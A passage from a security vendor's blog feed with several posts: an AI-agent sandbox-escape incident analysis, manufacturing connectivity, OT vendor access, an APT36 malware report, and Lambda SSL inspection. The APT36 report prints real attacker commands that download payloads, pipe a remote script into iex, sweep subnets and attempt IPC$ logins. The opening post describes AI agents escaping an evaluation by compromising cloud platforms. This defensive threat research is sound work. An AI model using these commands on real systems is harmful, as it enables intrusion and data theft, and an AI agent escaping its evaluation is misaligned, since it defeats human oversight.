trip.That signal gives a security team the one thing this incident lacked for nearly six weeks: an early, credible reason to look. Acting on that signal today runs through existing manual or integrated response workflows; closing the loop from alert straight to automated containment is where this architecture is headed next, not where it stands today. OpenAI’s Own Roadmap Is Describing This ArchitectureStronger isolation and tighter network controls — OpenAI’s stated fix — is workload Zero Trust in different words. OpenAI’s stated direction is more isolation for workloads executing untrusted code, plus network controls that prevent one compromised workload from gaining unauthorized access to the internet or internal networks. In plain language, that’s workload-to-internet and east-west VPC/VNET control, deployed without agents on every host. That capability is available today as Zero Trust Gateway for Cloud Workloads — the architecture OpenAI is now building from scratch already exists as a packaged offering.The agents didn’t stop at Hugging Face. They pivoted to Modal, a third AI cloud platform, compromising an unrelated customer application there while hunting for a way past their evaluation. It’s a useful reminder of why allowlisting beats blocklisting: policy built on where a workload is permitted to go stops a pivot to Modal the same way it stops a pivot to Hugging Face — it doesn’t need to already know the next destination an attacker will try. What Security Teams Should Do NowInventory workload egress. Find workloads with broad internet access and replace it with destination-, application-, and protocol-specific policy.Map the full east-west path. Use Microsegmentation for intra-VPC/VNET visibility and Macrosegmentation for cross-boundary visibility and control, together, to baseline expected flows and spot risky lateral-movement paths before an attacker finds them first.Enforce boundaries. Deploy Macrosegmentation via Zero Trust Gateway and Cloud Connector to control traffic across applications, clusters, VPCs/VNETs, and regions.Assume credentials will be stolen. Require both valid identity and an approved network path to sensitive services.Inspect encrypted workload traffic. Look for unusual destinations, protocols, and communication patterns while accounting for privacy and operational requirements.Treat AI agents as untrusted workloads. Grant only the connectivity needed for the task, and design response processes for machine-speed activity.The attacker may move at machine speed. Your blast radius should not.Agentic AI can discover vulnerabilities, chain techniques, and move across infrastructure faster than human-led attacks. OpenAI’s own incident-response roadmap points the same direction as the rest of this piece: toward fully autonomous shutdown procedures, because manual, human-paced response is already understood internally as too slow against agent-speed threats. That’s the same reasoning behind pairing workload Zero Trust with high-fidelity, signal-driven containment — closing the gap between detection and action as that automation matures.No single control can be assumed to prevent every step of an attack like this one. The durable answer is an architecture that assumes any workload can be compromised, gives every workload only what it needs, and makes sure a single foothold never becomes free rein. THREE TAKEAWAYSAI changes attack speed — not Zero Trust fundamentals.End-to-end east-west visibility, with control at the boundary, closes the gap between compromise and containment.Machine-speed threats call for machine-speed response.This post is part of Zscaler's Zero Trust in Action series, analyzing current security incidents through the lens of Zero Trust Cloud capabilities. Learn more about how Zscaler helps implement Zero Trust architecture with microsegmentation across cloud workloads, here.

The Race to Production: Why Connectivity Is Becoming a Competitive Advantage

Alex Fray (Innovation Lead) — Fri, 18 Sep 2026 09:39:12 GMT

Every manufacturer understands the cost of downtime. It’s why so many conversations revolve around resilience. But a new problem is beginning to surface: how quickly you can get a site operational in the first place, because delay before production even starts can be just as costly. If it’s all about speed, then you might point out that time to production is something manufacturers have always cared about. And you’d be right, of course. What’s new is that the pressure isn't simply to produce faster. It's to become operational faster. Manufacturers need to be able to open factories, warehouses and distribution operations wherever demand, supply chains or growth opportunities take them. This capability directly determines how fast revenue starts flowing.The bottleneck nobody planned forIf site-deployment speed is now a competitive advantage, what role does connectivity play? The answer is simple: connectivity is either the bottleneck or the enabler.Until recently, standing up a new site meant waiting for connectivity as part of the process. I've seen situations where a factory is ready to start producing, but terminating and procuring and shipping network equipment took far longer than they had planned for. And this problem is only going to intensify. Deployment environments are growing more complex and more demanding. Supply chains are more distributed, operations span more geographies, and sites are being opened in locations where connectivity isn't always straightforward to provision.Agility is everything when the goal is to meet demand faster than the competition can. This is why manufacturers can’t put their sole focus on running long-established facilities anymore. Now, they need to consider standing up seasonal factories and temporary warehousing to respond to the market, for example supply-chain changes, as they happen. The shift some leaders are still missingWhen you’re chasing a strategic opportunity in a new market, it’s a real business differentiator to be able to stand up operations quickly. I saw this agility in action working with one of our customers, a global paints-and-coatings manufacturer. They were setting up a new factory in Morocco when their networking equipment got held up in customs. Not for days...for weeks. Potentially months. For most businesses, that's a delay you absorb and wait out. For this manufacturer, every day the factory sat dark was revenue they weren't generating, inventory that wouldn't be available, warehouse operations that couldn't start, and distribution that couldn't move. The cost wasn't technical. It was commercial, and it compounded every single day. So they didn't wait.For the in-limbo Moroccan factory, the fastest solution was a cellular-first deployment model. Using available smartphones, tablets and hand scanners on site, we were able to issue eSIMs to the devices to provide secure cellular connectivity to their cloud-based MES and ERP systems to stand up operations. They stood up a factory without a single piece of traditional connectivity infrastructure and the ROI was immediate.The most interesting part of this example isn't the technology itself, as cool as it is. The interesting part is that the manufacturer started treating connectivity as a business accelerator rather than another IT project; a business capability versus just an infrastructure cost and requirement. This is what sets them apart.Organisations that rethink connectivity today won't just gain an advantage. They'll define what the industry looks like tomorrow. If you're rethinking what connectivity means for your next site launch, explore how Zero Trust Branch and Zscaler Cellular are helping manufacturers stand up secure operations in hours, not months.

The Vendor Access Problem We See in Almost Every OT Workshop

Bryan Ashley (Zero Trust Networking, Principal Architect) — Thu, 17 Sep 2026 17:32:01 GMT

How it surfaces in customer workshopsOT architecture workshops are the deepest customer work we do: a multi-hour whiteboard session with a manufacturer's IT, OT and security leads, mapping their Purdue model and their access paths with one of our OT architects. We run them regularly, and because they're structured the same way each time, patterns show up in them earlier than they show up anywhere else.One has been consistent enough to write down, and CISA's updated Internet Exposure Reduction Guidance last month is a good reason to write it down now. Most of that guidance is about getting OT off the internet, but one of its items asks operators to determine whether integrators, vendors and service providers have remote access into their systems - through VPN credentials, cellular modems or anything else - and to verify each of those connections. That is a question we've watched a lot of teams work through in a session. At some point in most of them, usually after the segmentation discussion, someone asks how the OEM's engineer actually reaches a specific controller when a line goes down. The answer usually takes a few minutes and several people: there's a VPN account, a jump host, a box the vendor installed at commissioning, sometimes a cellular modem at a site with no WAN. The path gets drawn, and there's usually more than one of them, accumulated as machines were installed rather than designed together.Across our most recent dozen workshops - discrete, process, food and beverage, pharma and chemicals - nine already had a named mechanism for third-party access into OT, and secure remote access is mature enough in manufacturing that most have had some form of it for years. Vendor access wasn't missing anywhere. What was missing, in almost every case, was vendor control: deciding who gets in, to what, for how long, and being able to stop it. That's a different problem from the one the industry is still mostly writing about. CISA's Insider Threat Mitigation Guide, updated this month, defines an insider as anyone with authorized access to facilities, networks or systems, employee or not. The operators we sit with already treat vendors that way. Their question is why the access they've built doesn't give them control over it. How vendors get in todayAcross the workshop notes, third-party access into the plant takes one of three shapes. Each one puts the operator's control somewhere the operator can't fully reach.The OEM's own gateway. The equipment vendor ships a remote-service box with the machine, or installs one at commissioning, and it dials home so their engineers can support the line. It's the vendor's credential, the vendor's session and the vendor's off switch. The operator gets support and gives up all three. Replacing this arrangement is one of the more common reasons a workshop gets scheduled. Putting a VPN or firewall in front of the gateway adds an operational layer without adding control: the operator still can't bound the session to a window or end one in progress.IT remote access into the plant. The vendor comes in the way an employee would - a VPN account and a jump host, usually with the enterprise privileged access management (PAM) platform handling the credential, recording the session and running the approval. Four of the twelve ran contractor access this way, and it's the most common answer among mature security teams. The PAM layer does its job; the problem is the jump host. The vendor lands on a workstation on the plant network and reaches the target from there, so control depends on that network being reachable, routable, owned by the team deploying the workstation, and with nothing else reachable from it. Those are significant assumptions.An OT-native remote-access product. Usually adopted because the plant network forced the choice - overlapping address space across production lines, static-IP assets that can't be re-addressed - more than because anyone designed toward it. In those cases the network picked the tool. Why the plant network shapes the answerThe natural response is to tighten what's already there - harden the jump host, firewall it from the cell, put MFA in front of the vendor gateway. The workshops tend to surface why that's harder than it sounds.The plant network is rarely what the diagram says it is. The most common finding is a flat network that extends directly into IT, and in several sessions a recent penetration test at the plants is what put it on the agenda. The remedy on offer from equipment vendors is often more firewalls at more Purdue levels. Layer 3 is owned by IT at some plants and by the site at others. Production lines reuse address space and the assets can't be re-addressed. Some remote sites have no WAN at all.Any control that lives on that network inherits those conditions. A jump host can't route to overlapping subnets, and there's no obvious place for it at a site IT doesn't own. The OEM gateway avoids all of that by bypassing the plant network entirely, which is why vendors like it and why operators can't see it.This is where the two problems meet, and it's the point the workshops keep coming back to. The front door is usually fine: the vendor authenticates, the session is approved, maybe it's recorded. Then they land on a jump host on a segment where everything is reachable, and from that moment the controls at the door don't matter. The question is what's reachable after the vendor is inside, and on a flat plant network the answer is everything.Where these sessions usually land is with control moved off the network and onto the session: the vendor doesn't land on the plant network and then get restricted, they reach one system, through a broker, as a known identity, for a defined window - and the segment behind that system is closed off separately. The recent federal guidance points the same direction. CISA's April 2026 joint guidance, Adapting Zero Trust Principles to Operational Technology, is explicit that IT zero trust doesn't transfer wholesale and that identity and access have to be designed around the plant's constraints. The January 2026 Secure Connectivity Principles for Operational Technology, led by NCSC-UK with CISA and FBI, describe one hardened access path reused across vendors, with session monitoring. What operators describe as controlWhen a workshop gets to what the path should look like, the requirements are consistent enough across customers that they work as an evaluation lens for any approach, whatever is in place today. In roughly the order they come up:The vendor reaches one system, not a segment. No landing zone on the plant network, no route from the target to anything else, nothing listening on the target - no RDP, SSH or VNC port exposed to get there.The vendor is a known identity. They authenticate as themselves, against an identity the operator has vetted, not an account the vendor created.Access exists only while the work does. Granted for a defined window, and the operator can end the session while it's running.The vendor never holds the credential. Vaulted, injected into the session, rotated after use. This has become the first thing a security lead asks about.Every session is recorded, at every site, including the ones reached over cellular because there's no WAN.Segmentation isn't on that list, and that's deliberate on the operators' part. It removes the general path and it belongs on the roadmap, but vendor access tends to need fixing sooner than the plant can be segmented, so the two move on separate timelines.That model is how Zscaler Privileged Remote Access is built: sessions brokered through the Zero Trust Exchange rather than routed to the plant, pixel-streamed to the vendor's browser with no listener exposed, bound to the vendor's identity, and recorded. There is no jump host and no landing zone - the session terminates at the one system it was approved for. Access is granted through a time-bound approval, and an administrator can monitor or terminate an approved session while it's live. Credentials are vaulted, injected into the session, and can rotate after each use; an existing PAM platform keeps doing that job. What the target can reach on its own segment is the other half, and Zero Trust Branch device segmentation closes that behind the session, on its own timeline. For remote sites with no WAN, the site connects over Zscaler Cellular so its assets are reachable through the same broker - the operator's cellular path, rather than the vendor-installed modem CISA's guidance asks operators to go find.If you'd like to walk your own vendor access paths against this list, request an OT architecture workshop and we'll map them with your team.

Operation RapidRust: APT36 Deploys RUSTYSHADE, RUSTYMOVE, PSNATCH, and BASHNATCH

Sudeep Singh (Sr. Manager, APT Research) — Wed, 16 Sep 2026 15:13:12 GMT

IntroductionIn August 2026, Zscaler ThreatLabz observed new activity by the Pakistan-nexus threat actor APT36 in a campaign we’re tracking as Operation RapidRust. Since our last publication about the group’s activity in January 2026, APT36 has maintained a high operational tempo and updated their tactics, techniques, and procedures (TTPs) in continued attacks targeting government and defense organizations in India and Afghanistan. During our investigation, ThreatLabz discovered new malware families and post-compromise tools, as well as significant post-compromise activity. The new tools include the RUSTYSHADE backdoor, the RUSTYMOVE post-compromise tool, and the PSNATCH and BASHNATCH file-stealing tools.In this blog post, we provide a detailed technical analysis of APT36’s new tooling and post-compromise activity. Key TakeawaysIn August 2026, ThreatLabz observed new activity by the Pakistan-nexus threat actor APT36 targeting government and defense entities in India and Afghanistan.RUSTYSHADE is a new Rust-based backdoor that abuses attacker-controlled private GitHub repositories for command-and-control (C2) and uses AES-256-GCM to encrypt C2 communications.RUSTYMOVE is a new post-compromise tool used by APT36 to copy pre-staged malicious files to external removable media connected to infected machines, enabling the malware to spread to air-gapped networks.APT36 registered multiple typosquatted domains that impersonate popular Indian news outlets to stage malicious PowerShell scripts and payloads.PSNATCH is a new PowerShell-based file-stealing tool that scans a pre-configured list of directories and exfiltrates files matching a pre-configured list of extensions to the threat actor's private GitHub repositories.BASHNATCH is a bash script similar to PSNATCH that targets Linux environments.APT36 attempted lateral movement by identifying active machines on the local network and mapping network shares. Technical AnalysisIn the following sections, ThreatLabz provides a technical analysis of the campaign, including its new malware tooling and post-compromise activity.RUSTYSHADERUSTYSHADE is a new 64-bit Windows backdoor written in Rust that abuses attacker-controlled private GitHub repositories for C2 communication. Some of its functionality is similar to GITSHELLPAD, which we observed in the GOGITTER campaign. However, notable differences include support for encrypted C2 communication, new C2 commands, and the use of Rust instead of Golang.During post-compromise activity, APT36 deployed RUSTYSHADE on compromised systems using the following command:powershell wget https://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip -o ww.zipC2 communicationRUSTYSHADE uses the GitHub REST API as its C2 channel. A GitHub personal access token (PAT) is hardcoded in cleartext within the binary and is used to authenticate and interact with the threat actor's private GitHub repository through the REST API with the following information:API Endpoint Template: https://api.github.com/repos/[owner]/[repo]/contents/[path]?ref=[branch]&t=[timestamp] Authentication: Authorization: token [PAT] header Accept Header: application/vnd.github.v3+jsonAll messages exchanged between RUSTYSHADE and the GitHub repositories are encrypted using AES-256-GCM.Encryption algorithmRUSTYSHADE encrypts C2 messages as follows:Derives a 32-byte AES key from the SHA256 hash of the GitHub PAT.Generates a random 12-byte nonce using BCryptGenRandom.Uses AES-256-GCM to encrypt plaintext resulting in a ciphertext and a 16-byte authentication tag. This 16-byte authentication tag is used by AES-256-GCM for integrity verification.Formats the encrypted data as: nonce[12] || ciphertext || tag[16]. The 12-byte nonce serves as the prefix, while the final 16 bytes contain the authentication tag.Base64-encodes the formatted message listed above.Prepends the HCENC1: prefix to the Base64-encoded data.The resulting message has the following format:HCENC1:[base64(nonce || ciphertext || tag)]To decrypt the message, RUSTYSHADE removes the HCENC1 prefix, Base64-decodes the remaining data, and decrypts it using AES-256-GCM.Command tasking mechanismRUSTYSHADE reads and writes specific filenames in the private GitHub repository to synchronize the communication between the infected machines and the C2 server. The filenames are listed in the table below.FilenamePurposecommand.txtEncrypted C2 commandsresults.txtEncrypted command outputinfo.txtSystem reconnaissance dataheartbeat.txtBeacon keepalive containing an epoch timestampscreenshot.pngEncrypted desktop screenshotwebcam_photo.jpgEncrypted webcam capturedownload.binEncrypted exfiltrated file contentsTable 1: Files used for commands, beacons, and exfiltrated data by RUSTYSHADE.The threat actor issues commands and receives the resulting output in the GitHub C2 repository as follows.Threat actor side: The threat actor encrypts the command using the previously described encryption algorithm and commits it to the command.txt file.Infected machine side: RUSTYSHADE polls the GitHub REST API and retrieves, decrypts, and executes the new command from command.txt. It then encrypts the command output and uploads it to the GitHub repository as results.txt.Commands use the following format:[COMMAND][:{arg}]A colon ( : ) or space separates the command name from its argument.C2 commandsThe table below lists C2 commands supported by RUSTYSHADE.CommandDescriptionss_upCapture a screenshot using native GDI32 APIs, encode it as a PNG file, and upload it as screenshot.png.CAP-photoCapture a webcam photo using WIA.CommonDialog, save it as a JPEG file, and upload it as webcam_photo.jpg.cd ..Navigate to the parent directory.cdChange the working directory to [path].runExecute a command in the background as a detached process using CreateProcessW.HC_LISTList the contents of the current working directory.HC_DRIVESEnumerate all system drive letters.HC_CDChange the working directory using an alternative command format.HC_CD:this pcAlias for HC_DRIVES (case-insensitive match).HC_DOWNLOADRead the file at [path], compress it using Compress-Archive, encrypt it, and upload it as download.bin.(default)Execute the input as a shell command using %SystemRoot%\System32\cmd.exe.Table 2: C2 commands supported by RUSTYSHADE.PSNATCHDuring our analysis of post-compromise activity, ThreatLabz observed the threat actor retrieving a next-stage PowerShell-based file stealer from an attacker-controlled GitHub gist. We named this PowerShell script PSNATCH. Its primary purpose is to steal files from infected machines and exfiltrate them to the threat actor's private GitHub repositories.PSNATCH has the following key capabilities:Recursively scans preconfigured directories, including Desktop, Downloads, Documents, OneDrive (personal + commercial), and drives ‘D:’ through ‘H:’. It collects files that meet the following criteria:Have extensions associated with a broad range of file types, including Microsoft Office documents, images, archives, media, executables, scripts, and databases.Were modified within the last 120 days. Collection is limited to 1 GB per file and 5 GB per execution.Authenticates with the threat actor’s private GitHub repository using a hardcoded GitHub PAT.Creates a private repository named after the infected machine. Each infected machine is assigned its own repository.Exfiltrates data using the GitHub Contents API.Specifies SmartUploader as the custom User-Agent in all requests to the GitHub API.Organizes exfiltrated data into date-stamped folders using the format yyyy-MM-dd/[SourceFolder]/...Maintains a local tracking file located at %APPDATA%\SmartUploader\uploaded_files.json that maps between file paths and last-modified timestamps. This is done to ensure only new/modified files are uploaded on subsequent runs, enabling incremental exfiltration across repeated executions.BASHNATCHBASHNATCH is the Linux variant of PSNATCH. The threat actor used this Bash script to target Linux environments. It scans the same preconfigured directories and file extensions as the Windows variant. BASHNATCH uses ~/.local/share/SmartUploader/uploaded_files.json to track previously exfiltrated files.RUSTYMOVERUSTYMOVE is a lightweight 64-bit Windows USB propagation tool written in Rust. Its sole function is to continuously monitor for external removable media (e.g., USB, SD, MMC, and IEEE 1394 devices) and copy the following two pre-staged malicious files to the root directory of each detected external drive.C:\Users\Public\Documents\DriverInstaller.zip: Contains the RUSTYSHADE executable described in the previous section.C:\Users\Public\Documents\DocScanner-11-Aug-2026-5-37pm.pdf.LNK: ThreatLabz cannot confirm the exact LNK target command, but assess with high-confidence that this LNK executes the RUSTYSHADE executable contained in the DriverInstaller.zip (after it has been extracted).The binary contains no embedded payloads or encryption capabilities, and does not communicate with network-based C2 infrastructure. RUSTYMOVE functions solely as a lateral movement component. Its limited functionality and reliance on hardcoded paths to pre-staged files suggest that RUSTYMOVE may be in an early stage of development.During post-compromise activity, APT36 deployed RUSTYMOVE on a compromised machine using the following:cd C:\Users\Public\AccountPictures dir powershell wget hxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zip -o d.zip dir tar -xvf d.zip dir Start-Process -FilePath ".\Automata-20.exe" powershell.exe -NoProfile -Command "$t='StandAloneOneDriveUpdater-2626';$a=New-ScheduledTaskAction -Execute 'C:\Users\Public\AccountPictures\Automata-20.exe';$tr=New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME;Register-ScheduledTask -TaskName $t -Action $a -Trigger $tr -User $env:USERNAME -Force" schtasks /Query /TN "StandAloneOneDriveUpdater-2626" /V /FO LISTThe scheduled task launches RUSTYMOVE when a user logs on. Its name, StandAloneOneDriveUpdater-2626, is intended to make it appear as a legitimate service.The following sections summarize RUSTYMOVE’s execution flow.RUSTYMOVE enters an infinite loop that executes two main functions: external drive discovery and file propagation. The malware pauses for 2 seconds between iterations.External drive discoveryRUSTYMOVE executes the following embedded PowerShell script using CreateProcessW to enumerate external drives.powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command " Get-Volume | Where-Object DriveLetter | ForEach-Object { $letter = $_.DriveLetter $part = Get-Partition -DriveLetter $letter -ErrorAction SilentlyContinue if (-not $part) { return } $disk = Get-Disk -Number $part.DiskNumber -ErrorAction SilentlyContinue if (-not $disk) { return } $external = ($disk.BusType -in @('USB','1394','SD','MMC')) -or ($disk.MediaType -in @('Removable Media','External hard disk media')) if ($external -and $_.UniqueId) { Write-Output ('{0}|{1}' -f $letter, $_.UniqueId) } } "The output of the PowerShell script is parsed for strings containing \\?\Volume.For each valid external drive, RUSTYMOVE converts the drive letter to uppercase and executes the following PowerShell command to retrieve the volume’s UniqueId.Get-Volume -DriveLetter [X] -ErrorAction SilentlyContinue | Select-Object -ExpandProperty UniqueIdFile propagationFor each detected external drive mount point, RUSTYMOVE performs the following actions:Uses a HashMap, keyed by the external drive’s volume UniqueId, to track which external drives have already been infected.Iterates through an array containing the 2 pre-staged malicious files and:Extracts the filename.Constructs the destination path as [DriveLetter]:\[filename].Checks if the destination already exists on the external removable media.If the file is not present, the malware copies it using CopyFileExW.If the copy succeeds, the malware writes "Copied: [path]" to log.txt.After processing both source files, RUSTYMOVE logs the following messages to log.txt:If files were copied: "Success [N] user(s)."If no files were copied: "No new files copied (already on drive, missing source, or copy failed)."Post-compromise activityDuring our investigation, ThreatLabz observed post-compromise activity from APT36 operators, including system, user, and network reconnaissance commands, and the deployment of next-stage payloads. Most of the activity took place between August 20, 2026 and September 1, 2026. ThreatLabz analyzed the timestamps associated with the C2 commands and found that the threat actor issues commands only between 4:00 a.m. and 11:00 a.m. UTC. The figure below shows the distribution of C2 commands by hour of the day.Figure 1: Distribution of Operation RapidRust C2 commands by hour of the day.ThreatLabz also analyzed the commands by date. As shown in the figure below, all observed activity occurred on weekdays, with no activity observed during the two weekends included in the analysis period.Figure 2: Operation RapidRust C2 activity by date.The table below summarizes RUSTYSHADE C2 commands executed by the threat actor during the observed post-compromise activity.CategoryC2 commandsDescriptionSystem Reconnaissanceipconfig, ipconfig /allwhoami, whoami /groups, whoami /privecho %COMSPEC%,echo %USERPROFILE%hostname, tasklistIdentify the current user, group memberships, privileges, running processes, hostname, network adapter configuration, and command interpreter path on the infected machine.Network Reconnaissancearp -aping -a [IP]nbtstat -A [IP]net view, net view \\[IP]net share, net sessionfor /L %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | findstr /i \"reply bytes TTL\"1..254 | ForEach-Object { if (Test-Connection \"192.168.1.$_\" -Count 1 -Quiet -TimeoutSeconds 1) { Write-Host \"UP: 192.168.1.$_\" } }Map the local network by sweeping subnets for live hosts, resolving hostnames via reverse DNS and NetBIOS, and enumerating visible machines and SMB shares.GeolocationInvoke-RestMethod http://ip-api.com/json | Select-Object lat, loncurl https://ipinfo.io/jsoncurl https://ipapi.co/jsonRetrieve the infected machine's external IP address and geographic coordinates (latitude/longitude) using public geolocation APIs.PersistenceRegister-ScheduledTask -TaskName 'StandAloneOneDriveUpdater-2626' ... -Execute 'Automata-20.exe' -Trigger -AtLogOnschtasks /Create /TN "StandAloneOneDriveUpdater-2626" /SC ONLOGONRegister-ScheduledTask -TaskName 'MicrosoftEdgeUpdateTaskUserS-1-5-24-...' ... conhost.exe --headless powershell.exe -EncodedCommand [irm indiatodays[.]org/pv | iex]Create scheduled tasks that execute payloads at user logon and masquerade as legitimate Microsoft OneDrive and Edge updater tasks. Persistence Verificationschtasks /Query /TN "StandAloneOneDriveUpdater-2626" /V /FO LISTschtasks /Query /FO LIST /Vschtasks /Query /FO TABLEVerify that the scheduled tasks created were registered successfully by querying them and checking command exit codes.Network Verificationping -n 1 [IP], ping -n 1 -w 1000 [IP]for %i in ([list]) do @ping ... | findstr "reply TTL" powershell -Command "Test-NetConnection [IP] -Port 445"powershell -Command "Test-NetConnection [IP] -Port 135"Re-check the liveness of previously discovered hosts and probe specific ports (SMB 445 and RPC 135) to identify targets suitable for lateral movement.Lateral Movementnet use \\[IP]\IPC$net use \\[IP]\IPC$ /user:[machine_name]\admin *Attempt to connect to the IPC$ share on a remote host, first using a null session and then using specified administrator credentials.Anti-Forensicsdel yogi.zip, del DriverInstaller.exe, del HealthCheck.exe, del sheets_agent.dll, del t_tracker.json, del a.zip, del hh.zip, del ms.zipren om.zip DriverInstaller.zipDelete files associated with previously deployed tooling and rename om.zip to DriverInstaller.zip.Table 3: Post-compromise commands executed by APT36. Threat Actor InfrastructureAPT36 used legitimate internet services and threat actor-registered domains to support this campaign.The threat actor used private GitHub repositories for C2 communications and legitimate cloud storage platforms, including Backblaze, to host post-compromise tools.The campaign domains were registered under NameCheap and used to host intermediate PowerShell scripts and next-stage payloads. As shown in the table below, the domains impersonated popular Indian media organizations.Malicious domainLegitimate domainRegistration datetheprints[.]orgtheprint.inMay 11, 2026indiatodays[.]orgindiatoday.inAug 17, 2026Table 4: Threat actor-registered domains impersonating Indian media organizations. ConclusionThis campaign demonstrates that APT36 continues to target government and defense entities in India and Afghanistan while maintaining high operational tempo and evolving TTPs. ThreatLabz identified a new Rust-based backdoor, Windows and Linux file-stealing tools, and a removable-media propagation tool, along with extensive post-compromise activity. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to this campaign at various levels.Win64.Backdoor.RUSTYSHADEWin64.Spreader.RUSTYMOVEPS.Malicious.PSNATCHLinux.Malicious.BASHNATCH Indicators Of Compromise (IOCs)File indicatorsHashesFilenameDescription40a75f87f1e52c33df9ca733aaf8ebbb00aff1a72c5d5635ab36ce2eb370718a7f0557a052d07b3ef0c5f27d082551d51027de452682e1fbd5bb38a897ea4b31bd387523DriverInstaller.zipZIP archive containing RUSTYSHADEAe77f1834ccde53258bc27a779102af2761ccb15af1c3fe6e4365ddf65578966e4c84fc980fdde0dafa450ae33937ccef752b46666da567926b2f39b37e02e77f9d6a92eDriverInstaller.exeRUSTYSHADEAade06ec611d69f1553035f22356ccf4Ad4afe86a835bb2f7768862d358ebd8324c0590205bbeea42f481a3dd1b3f670aba481f7c5c8e897ef321d65188317be5a65a4d7Automata-20.zipZIP archive containing RUSTYMOVEF16f507a8ed515663a4f07050cd97a7400e1cc0fb1355c196c069791a02b4a5f3b57ae9470fc6cba3c2021889fb4093d0221dc6925818666df25718a630c562cac18da31Automata-20.exeRUSTYMOVENetwork indicatorsTypeIndicatorPayload staging domaintheprints[.]orgPayload staging domainofficialinfo[.]orgPayload staging domainindiatodays[.]orgPayload staging URLtheprints.]org/adrivePayload staging URLtheprints[.]org/drivefolderPayload staging URLtheprints[.]org/mauPayload staging URLtheprints[.]org/msheetsPayload staging URLtheprints[.]org/gsheetsPayload staging URLhxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zipPayload staging URLhxxps://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip

Securing AWS Private Lambda with Zscaler Zero Trust Cloud

David Glading (Principal Specialist Sales Engineer) — Wed, 16 Sep 2026 05:14:00 GMT

Modern cloud architectures increasingly rely on AWS Lambda for event-driven processing, data ingestion, and microservice integration. While Lambda functions often run within private Virtual Private Clouds (VPCs) to keep data isolated, many serverless workloads still require outbound internet access to interact with third-party APIs, SaaS applications, or external data feeds.Without deep visibility into this outbound traffic, security teams face a critical blind spot. Attackers can leverage encrypted channels (HTTPS) to exfiltrate sensitive data or communicate with command-and-control (C2) servers. To combat these risks, organizations turn to Zscaler Zero Trust Cloud and Zscaler Internet Access (ZIA) for inline SSL/TLS Inspection.To seamlessly extend zero trust security to public cloud environments, Zscaler provides the Zscaler Zero Trust Gateway (ZTGW). ZTGW securely brokers outbound traffic originating from cloud workloads and private subnets, funneling it safely over encrypted DTLS tunnels into ZIA for policy enforcement and threat prevention.However, introducing SSL inspection into serverless environments presents a unique operational challenge: How do you distribute custom Root CA certificates to short-lived, ephemeral Lambda execution containers without breaking application code or requiring manual maintenance?In this blog, we’ll explore why SSL inspection is essential for serverless workloads, how to fully automate custom certificate distribution using AWS CloudFormation and S3, how to configure granular SSL inspection policies in ZIA, and how to verify everything in action. The Challenge: SSL Inspection vs. Ephemeral ExecutionWhen ZIA inspects outbound HTTPS traffic, it acts as a man-in-the-middle proxy. It terminates the TLS session from the client, inspects the payload for threats or Data Loss Prevention (DLP) violations, and establishes a new TLS session to the destination server. To accomplish this, ZIA re-signs the destination’s SSL certificate using a custom Zscaler Root or Intermediate CA. If the client runtime does not explicitly trust the Zscaler Root CA, the TLS handshake fails immediately with an error like:[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificateIn traditional virtual machines (like EC2), administrators deploy custom certificates via configuration management tools (Ansible, Chef) or golden AMI images. But AWS Lambda containers are ephemeral and managed entirely by AWS. Standard Linux system trust stores cannot be modified permanently at the OS image level. The Solution: Cold-Start Bootstrap & Auto-Discovery PatternTo solve this challenge, we can implement an Automated Cold-Start Bootstrap Pattern.By storing our Zscaler Root CA certificate in an isolated Amazon S3 bucket within the VPC, the Lambda function can fetch the certificate during container cold boot, dynamically merge it with native Amazon Linux root CAs into /tmp/custom-ca-bundle.pem, and bind it to the Python SSL context. Architecture Overview Automating Certificate Distribution Step-by-StepLet's look at how the execution environment handles the certificate lifecycle automatically in the following steps.1. Zero-Trust Storage in Amazon S3The certificate resides in a dedicated S3 bucket protected with:Gateway VPC Endpoint: All traffic between Lambda and S3 remains on the AWS internal backbone without traversing NAT Gateways or the public internet.Restricted Bucket Policy: Blocks all access unless the request originates from the specific VPC Endpoint or authorized IAM roles in your AWS account.2. Smart Certificate Auto-Discovery & NormalizationDuring cold start, the Lambda handler searches the S3 bucket for any certificate ending in .crt, .pem, or .cer (such as ZscalerRootCertificate-2048-SHA256-Feb2025.crt).Certificates uploaded by security teams often vary in encoding (ASCII PEM vs. Binary DER) or contain UTF-8 Byte Order Marks (BOM headers) from Windows text editors. The bootstrap code automatically cleans and normalizes these files:import sslimport reimport boto3 def extract_pem_certificates(raw_bytes): """Parses, cleans, and converts raw bytes into valid PEM certificate blocks.""" pem_blocks = [] # Strip UTF-8 BOM headers (\xef\xbb\xbf) and decode text_content = raw_bytes.decode('utf-8-sig', errors='ignore') # Regex search for ASCII PEM certificate blocks matches = re.findall(r'-----BEGIN CERTIFICATE-----[\s\S]*?-----END CERTIFICATE-----', text_content) if matches: return [m.strip() + '\n' for m in matches] # Fallback for Binary DER encoded certificates try: pem_cert = ssl.DER_cert_to_PEM_cert(raw_bytes) return [pem_cert.strip() + '\n'] except Exception as e: print(f"Failed to parse DER certificate: {e}") return [] 3. Merging with Native System CAsTo ensure the Lambda function trusts both public internet sites and Zscaler re-signed sessions, the handler merges native Amazon Linux system CAs (/etc/pki/tls/cert.pem) with the extracted Zscaler Root CA into a single /tmp/custom-ca-bundle.pem file.def build_trust_store(bucket_name): bundle_path = "/tmp/custom-ca-bundle.pem" # 1. Copy standard Amazon Linux system CAs with open("/etc/pki/tls/cert.pem", "r") as sys_in, open(bundle_path, "w") as bundle_out: bundle_out.write(sys_in.read() + "\n") # 2. Download and append Zscaler Root CA from S3 s3 = boto3.client('s3') objects = s3.list_objects_v2(Bucket=bucket_name).get('Contents', []) for obj in objects: if obj['Key'].endswith(('.crt', '.pem', '.cer')): response = s3.get_object(Bucket=bucket_name, Key=obj['Key']) cert_bytes = response['Body'].read() pem_blocks = extract_pem_certificates(cert_bytes) with open(bundle_path, "a") as bundle_out: for pem in pem_blocks: bundle_out.write(pem + "\n") print(f"Appended {len(pem_blocks)} certificate block(s) from {obj['Key']}") return bundle_path 4. Binding the Trust Store to Python RuntimeFinally, during outbound calls, the Lambda handler configures ssl.create_default_context pointing directly to 